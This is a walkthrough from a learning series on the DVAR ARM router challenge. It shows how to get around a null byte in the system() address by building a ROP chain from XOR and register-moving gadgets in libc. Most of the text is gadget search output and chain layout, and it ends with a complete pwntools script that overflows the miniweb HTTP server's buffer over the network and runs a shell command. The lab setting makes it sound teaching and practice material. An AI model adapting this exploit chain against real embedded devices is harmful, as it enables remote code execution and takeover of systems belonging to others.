Original DVAR learning series. The commands, addresses and behavior refer to the challenge environment described in the article; they are not universal values for ARM devices.
On my first try, I solved the challenge in somd odd way because I misinterpreted the output of xinfo. I choosed to go with the following system address which points to the .plt segement within the main binary.
gef➤ xinfo system
──────────────────────────────── xinfo: 0x10d88 ────────────────────────────────
Page: 0x00010000 → 0x00014000 (size=0x4000)
Permissions: r-x
Pathname: /usr/bin/miniweb
Offset (from page): 0xd88
Inode: 187
Segment: .plt (0x00010ce4-0x00011004)
Symbol: system@plt
Based on the memory layout - also for most real IoT devices - choosing a memory address in the main binary means, we have to deal with a Null Byte character in the highest byte. There are certain circumstances where it does not matter having Null Byte char in the address. For example if it is the last byte which needs to get copied it does not matter. Based on a little endian architecture this could be the case.
However in this case it has been a problem because based on our exploit layout, we have to provide the command which we want to execute after this gadget. Of course we could also look for magic or one shot gadgets, but we want to provide arbitrary commands and therefore we have to deal with it and to be honest, this was the most excititing part of this challenge. You have to dig deeper into the ARM assembly and need to get creative so ...
4.1 Time to get creative
So we cannot write the address 0x00010d88 into our exploit because the Null Byte char will mess it up. What we can do is to rewrite this address to something like 0xFF010d88.
But is it helpful? Yep, we can move this address into a register and search for gadgets which modifies the first byte of this address. We can search for many operators like lsl, lsr, add, sup,and or eor (xor). All of them will modify the operand so what would be some easy one?
4.1.1 Shift Instruction
The shift instructions LSL and LSR will kinda move the valus left and right.
(libc.so/ELF/ARM)> search /1/ lsl
[INFO] Searching for gadgets: lsl
[INFO] File: libc.so
0x00058dc0: lsl r0, r0, r2; bx lr;
The problem with shifting is, that if we move the values to the left LSL the first byte will be filled with "0x00" but we need a "0x88". There might be a solution for this but we want to take the path with the least resistence, even here :).
4.1.2 Add / Subtract
So adding and subtracting seems to be way better to handle this issue.
# Searching for sub gadgets - one instruction before jump
(libc.so/ELF/ARM)> search /1/ sub
[INFO] Searching for gadgets: sub
[INFO] File: libc.so
[... shorten ...]
0x00043ddc: sub r0, r3, r0; bx lr;
0x00058c8c: sub r1, r1, r3; bx lr;
[... shorten ...
So these two gadgets look good. We can simply figure out an address that does contain a Null Byte:
Python 2.7.17 (default, Nov 7 2019, 10:07:09)
>>> hex(0x11223344-0x00010d88)
'0x112125bc' # genius!
We take this gadget and setup the registers as follow: 0x00043ddc: sub r0, r3, r0; bx lr;
# setup lr within another gadget first and than ...
# 0x00043ddc: sub r0, r3, r0; bx lr; --> r0 = r3 - r0
r0 = 0x112125bc
r3 = 0x11223344
#Calc:
>>> hex(0x11223344-0x112125bc)
'0x10d88'
So therefore we do not need to provide the system address with Null Bytes we could calculate it ourselves. This one might work but there is a even better solution.
While building this rop chain I realized that performing these tasks can escalate very quickly ^^. You may overwrite values which needs to be saved before which again requires the setup of other registers and so on. IMHO a better way would be the usage of intermediate values directly in the binary.
In this case building it up with add and sub will fail because we need to get very lucky to find these exact values for our system address. But nevertheless there is a better instruction which I also identified exact the same in (uc)libc libraries of real devices.
4.1.3 Exclusive Or (XOR / EOR)
The (e)xslusive (eor better known as xor ^^) instruction is very useful for this task and has a lot of advantages. So a quick recap how xor works.
# Maybe a bit too
A B C
0 0 --> 0 if a is 0 and b is 0 the result is 0
0 1 --> 1 if a differs from b the result is 1
1 0 --> 1 if a differs from b the result is 1
1 1 --> 0 if a is 1 and b is 1 the result is 0
What is nice about it? We do not have to take care about the operation itself and the positions of the registers.
# Xor
2 ^ 4 = 6
6 ^ 4 = 2
2 ^ 6 = 4
[...]
# Here we need to take care of the position and the instruction
2 + 4 = 6
6 - 4 = 2 (changed)
2 - 6 = -4 (changed and different)
[...]
# I guess you know what I am trying to explain :)
The only thing we have to take care is that the result does not contain Null Byte characters. This will be the case if you xor the same bits against each other. In our case it would be the following values at the respective position.
0x 00 01 0d 88
Therefore we need to find an immediate value that has a value [1-F] at the beginning and does not contain the exact same values as the address above. This seems to be solvable.
(libc.so/ELF/ARM)> search eor
[INFO] Searching for gadgets: eor
[INFO] File: libc.so
0x000592e8: eor r0, r0, #0x80000000; blx r3;
0x000592e8: eor r0, r0, #0x80000000; blx r3; rsbs r0, r0, #0; rsc r1, r1, #0; pop {r4, pc};
0x00043d64: eor r0, r0, #1; and r0, r0, #1; bx lr;
0x00049d5c: eor r0, r0, r2; eor r1, r1, r2; subs r0, r0, r2; sbc r1, r1, r2; bx lr;
0x00039e54: eor r0, r3, r3, lsr #18; lsr r0, r0, #1; bx lr;
0x0005932c: eor r1, r1, #0x80000000; blx r3;
0x0005932c: eor r1, r1, #0x80000000; blx r3; rsbs r0, r0, #0; rsc r1, r1, #0; pop {r4, pc};
0x00049d60: eor r1, r1, r2; subs r0, r0, r2; sbc r1, r1, r2; bx lr;
0x00039e48: eor r3, r3, r0; and r2, r2, r3, lsl #15; eor r3, r3, r2; eor r0, r3, r3, lsr #18; lsr r0, r0, #1; bx lr;
0x00039e50: eor r3, r3, r2; eor r0, r3, r3, lsr #18; lsr r0, r0, #1; bx lr;
0x000553e0: eorne r3, r3, r2; bne #0x553cc; bic r0, r3, #0xf0000000; bx lr;
(libc.so/ELF/ARM)>
The first one seems to be perfect 0x000592e8: eor r0, r0, #0x80000000; blx r3; . It is small and got one additional jump. So let's do a quick recap what we got and what we need right now. If you missed that point before, please take a look on Part 3.
# TODO: We need a gadget set sets up r0 (value for xor operation) and r3 addres of next gadget that moves r0 to r6.
# r0 stores the new caluclated system address.
0x000592e8: eor r0, r0, #0x80000000; blx r3;
# TODO: We need a gadget that moves the system address into r6
# To avoid the Null Byte we jump to one address above 0x00024100 which is 0x000240fc
0x000240fc: mov r1, #0
0x00024100: mov r0, sp; blx r6;
Ok so we need to setup the values for r0 and r3 next. We search for pop gadgets and do not have to take care of overwriting existing values for now which is nice.
(libc.so/ELF/ARM)> search pop {%r0%r3%}
[INFO] Searching for gadgets: pop {%r0%r3%}
[INFO] File: libc.so
0x0004d7ec: pop {r0, r1, r2, r3, ip, lr}; bx lr;
This gadget is pretty good because we can also define the next jump within this gadget itself. Let's quickly caluclate the value of the xor (eor) instruction and fill in the gaps.
# We xor it with the value we want to have and take the result as parameter for r0
>>> hex(0x80000000^0x10d88)
'0x80010d88'
# Verify the ""calculation""
>>> hex(0x80000000^0x80010d88)
'0x10d88'
4.2 Finalizing the ROP Chain
Let's put all the things together we enumerated so far and check what is missing in our final exploit chain.
# r0 needs to be set to 0x80010d88
# r3 will be the address of the last gadget 0x000240fc
# lr the address of the xor gadget
# rest is not required and filled with junk 0x41414141
0x0004d7ec: pop {r0, r1, r2, r3, ip, lr}; bx lr;
# Here everything has already been setup -> nothing to do
0x000592e8: eor r0, r0, #0x80000000; blx r3;
# TODO: Here we are missing one gadget. We need to mov the r0 to r6 (see. 0x00024100).
# To avoid the Null Byte we jump to one address above 0x00024100 which is 0x000240fc
# This one is also ready
0x000240fc: mov r1, #0
0x00024100: mov r0, sp; blx r6;
Ok for now it seems like we are just missing at least one gadget. We are looking for a mov r6, r0 instruction which does not mess up our other registers ^^. So we search for mov r6, r0. Alternatively ldr% and str% might be also possible.
(libc.so/ELF/ARM)> search mov r6, r0
[INFO] Searching for gadgets: mov r6, r0
[INFO] File: libc.so
0x00044500: mov r6, r0; beq #0x44510; mov r0, r4; bl #0x436f8; mov r0, r6; pop {r4, r5, r6, pc};
0x00044cec: mov r6, r0; beq #0x44cfc; mov r0, r4; bl #0x436f8; mov r0, r6; pop {r4, r5, r6, pc};
0x00043e8c: mov r6, r0; mov r0, r4; blx r3;
We have to use the last one. Otherwise we end up with some branch instruction somewhere near mordor. The beq could be handled because they wont be equal and therefore being ignored. But the bl will be taken for sure so ... nope.
# r0 needs to be set to 0x80010d88
# r3 will be the address of the last gadget 0x000240fc
# lr the address of the xor gadget
# rest is not required and filled with junk 0x41414141
0x0004d7ec: pop {r0, r1, r2, r3, ip, lr}; bx lr;
# Everything has already been setup -> nothing to do
0x000592e8: eor r0, r0, #0x80000000; blx r3;
# TODO: We cannot use blx r3 two times for different addresses without modifying it :)
# TODO: We need to setup r3 again.
# TODO: We cannot use a gadget that modifies r0. Has been setup before!
# We setup our system address and overwrite r3. We need to setup r3 again
0x00043e8c: mov r6, r0; mov r0, r4; blx r3;
# To avoid the Null Byte we jump to one address above 0x00024100 which is 0x000240fc
# This one is also ready
0x000240fc: mov r1, #0
0x00024100: mov r0, sp; blx r6;
This gadget will overwrite our r3 which has been setup before but this is not a big deal. Hmmmm to be honest, r3 seems to be annoying, it is a bigger deal than expected. There are not many instructions that interact directly with r3 without modifying other registers too. If we take a look at the first gadget, we might just simple want to use this one? But the problem is, that r0 will get overwritten and we assembled it so nicely before. So let's see:
(libc.so/ELF/ARM)> search pop {%r3%}
[INFO] Searching for gadgets: pop {%r3%}
[INFO] File: libc.so
0x0004d7ec: pop {r0, r1, r2, r3, ip, lr}; bx lr;
0x00058e18: pop {r2, r3}; bx lr;
0x00058ed0: pop {r2, r3}; bx lr; push {r1, lr}; mov r0, #8; bl #0x423fc; pop {r1, pc};
0x00058e68: pop {r2, r3}; rsbs r0, r0, #0; sbc r1, r1, r1, lsl #1; bx lr;
0x00058e3c: pop {r2, r3}; rsbs r0, r0, #0; sbc r1, r1, r1, lsl #1; rsbs r2, r2, #0; sbc r3, r3, r3, lsl #1; bx lr;
0x00058e8c: pop {r2, r3}; rsbs r2, r2, #0; sbc r3, r3, r3, lsl #1; bx lr;
0x0003c8f0: pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}; push {r4, lr}; bl #0x3c6f4; pop {r4, pc};
Ok we have a gadget 0x00058e18: pop {r2, r3}; bx lr; that modifies r3 but we do not have control over lr. We already used it in gadget 1 (pop {r0, r1, r2, r3, ip, lr}; bx lr;). Solving this problem leads us to finding a gadget for lr. This seems to me a common case during the build process :). Let's try to find one.
(libc.so/ELF/ARM)> search /1/ pop {%lr%}
[INFO] Searching for gadgets: pop {%lr%}
[INFO] File: libc.so
0x0004d7ec: pop {r0, r1, r2, r3, ip, lr}; bx lr;
0x0004aacc: pop {r0, r4, lr}; bx lr;
0x0005538c: pop {r4, lr}; bx r2;
We need to take care that we do not modify r0 again. But if we take a look at our existing ROP chain we will see that this gadget 0x0005538c: pop {r4, lr}; bx r2; fits perfectly. Why? Because we did setup r2 with junk before. There was no need to use this register, till now. We restruct our first gadget and insert the following two gadgets to build up our final rop chain.
# r0 needs to be set to 0x80010d88 (eor)
# r2 now needs to points to 0x00058e18
# r3 will be the address of the last gadget 0x000240fc
# lr the address of the xor gadget
# ip is not required and filled with junk 0x41414141
0x0004d7ec: pop {r0, r1, r2, r3, ip, lr}; bx lr;
# Here everything has already been setup before -> nothing to do
0x000592e8: eor r0, r0, #0x80000000; blx r3;
# r4 can be filled with junk
# lr needs to have the value 0x00043e8c
# r2 still points to gadget 0x00058e18
0x0005538c: pop {r4, lr}; bx r2;
# We can now setup r3 with the value of the last gadget 0x000240fc
0x00058e18: pop {r2, r3}; bx lr;
# Here we setup our system address into r6
# Overwriting of r0 does not matter anymore, we have saved the value into r6.
0x00043e8c: mov r6, r0; mov r0, r4; blx r3;
# To avoid the Null Byte we jump to one address above 0x00024100 which is 0x000240fc
# This one is also ready
0x000240fc: mov r1, #0
0x00024100: mov r0, sp; blx r6;
We are done. This ROP chain can be used to setup a command onto the stack and parse it into system even by having a Null Byte character in this address. Here is the final exploit script.
from pwn import *
def libc(offset):
return p32(libc_base + offset)
libc_base = 0x40000000
GADGET1 = libc(0x0004d7ec)
GADGET2 = libc(0x000592e8)
GADGET3 = libc(0x0005538c)
GADGET4 = libc(0x00058e18)
GADGET5 = libc(0x00043e8c)
GADGET6 = libc(0x000240fc)
JUNK = p32(0x41414141)
XORVAL = p32(0x80010d88)
COMMAND = "reboot;#"
#add sp sp #16
buf = "A" * 341 + GADGET1 + JUNK * 4
rop = ""
#0x0004d7ec: pop {r0, r1, r2, r3, ip, lr}; bx lr;
rop += XORVAL #r0
rop += JUNK
rop += GADGET4 #r2
rop += GADGET3 #r3
rop += JUNK
rop += GADGET2 #lr
#0x000592e8: eor r0, r0, #0x80000000; blx r3;
#0x0005538c: pop {r4, lr}; bx r2;
rop += JUNK
rop += GADGET5
#0x00058e18: pop {r2, r3}; bx lr;
rop += JUNK
rop += GADGET6
#0x00043e8c: mov r6, r0; mov r0, r4; blx r3;
#0x000240fc: mov r1, #0; mov r0, sp; blx r6;
exploit = buf + rop + COMMAND
exploit_encoded = urlencode(exploit)
r = remote('192.168.244.128', 80)
r.send(b'GET /'+exploit_encoded+'\r\n\r\n')
The prefered way is still the ROP chain mentioned in Part 3. On a real world example, we do not get a huge advantage out of this because we want to have the ROP chain in one library or binary (see Part 2). On Internet of Things (IoT) devices, we cannot use multiple gadgets out of the main binary, because they all contain Null Bytes. With this trick we could use one gadget which is also often the case without this type of modification.
So why this article?
During the build process of this ROP chain I realized that it is not always about executing commands or spawning a shell. Ok that's what losers say (: no fo real... Let's say we can execute one gadget, and have control over certain registers which gets overwritten too, we might be able to modify the program in a behaviour that achieves the same. We could for example overwrite the authentication state, accessing secret data or modifying the file system. All with just a single gadget.
This task is of course much harder because you have to get a good understanding of the whole application but sometimes it is worth trying :). I already go for it on a device that has ASLR enabled but no PIE. Therefore the addresses in the main binary will not change (libraries will). I also have the typical Null Byte character in the highest byte and now I am looking for a way to exploit this stack based buffer overflow. I would like to encourage you to not give up on that point, so maybe we have to try harder :).